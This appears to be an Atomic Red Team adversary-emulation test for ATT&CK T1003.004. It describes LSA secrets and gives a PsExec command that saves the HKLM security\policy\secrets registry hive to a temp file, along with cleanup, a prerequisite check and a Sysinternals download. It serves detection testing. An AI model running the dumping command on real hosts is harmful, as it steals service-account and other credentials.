Adversaries with SYSTEM access to a host may attempt to access Local Security Authority (LSA) secrets, which can contain a variety of different credential materials, such as credentials for service accounts.(Citation: Passcape LSA Secrets)(Citation: Microsoft AD Admin Tier Model)(Citation: Tilbury Windows Credentials) LSA secrets are stored in the registry atHKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets
. LSA secrets can also be dumped from memory.(Citation: ired Dumping LSA Secrets)Reg can be used to extract from the Registry. Mimikatz can be used to extract secrets from memory.(Citation: ired Dumping LSA Secrets)
Dump secrets key from Windows registry When successful, the dumped file will be written to $env:Temp\secrets. Attackers may use the secrets key to assist with extracting passwords and enumerating other sensitive system information. https://pentestlab.blog/2018/04/04/dumping-clear-text-credentials/#:~:text=LSA%20Secrets%20is%20a%20registry,host%2C%20local%20security%20policy%20etc.
Supported Platforms: Windows
Name | Description | Type | Default Value |
---|---|---|---|
psexec_exe | Path to PsExec executable | Path | PathToAtomicsFolder\T1003.004\bin\PsExec.exe |
#{psexec_exe} -accepteula -s reg save HKLM\security\policy\secrets %temp%\secrets
del %temp%\secrets >nul 2> nul
if (Test-Path #{psexec_exe}) {exit 0} else {exit 1}
Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "$env:TEMP\PSTools.zip"
Expand-Archive $env:TEMP\PSTools.zip $env:TEMP\PSTools -Force
New-Item -ItemType Directory (Split-Path #{psexec_exe}) -Force | Out-Null
Copy-Item $env:TEMP\PSTools\PsExec.exe #{psexec_exe} -Force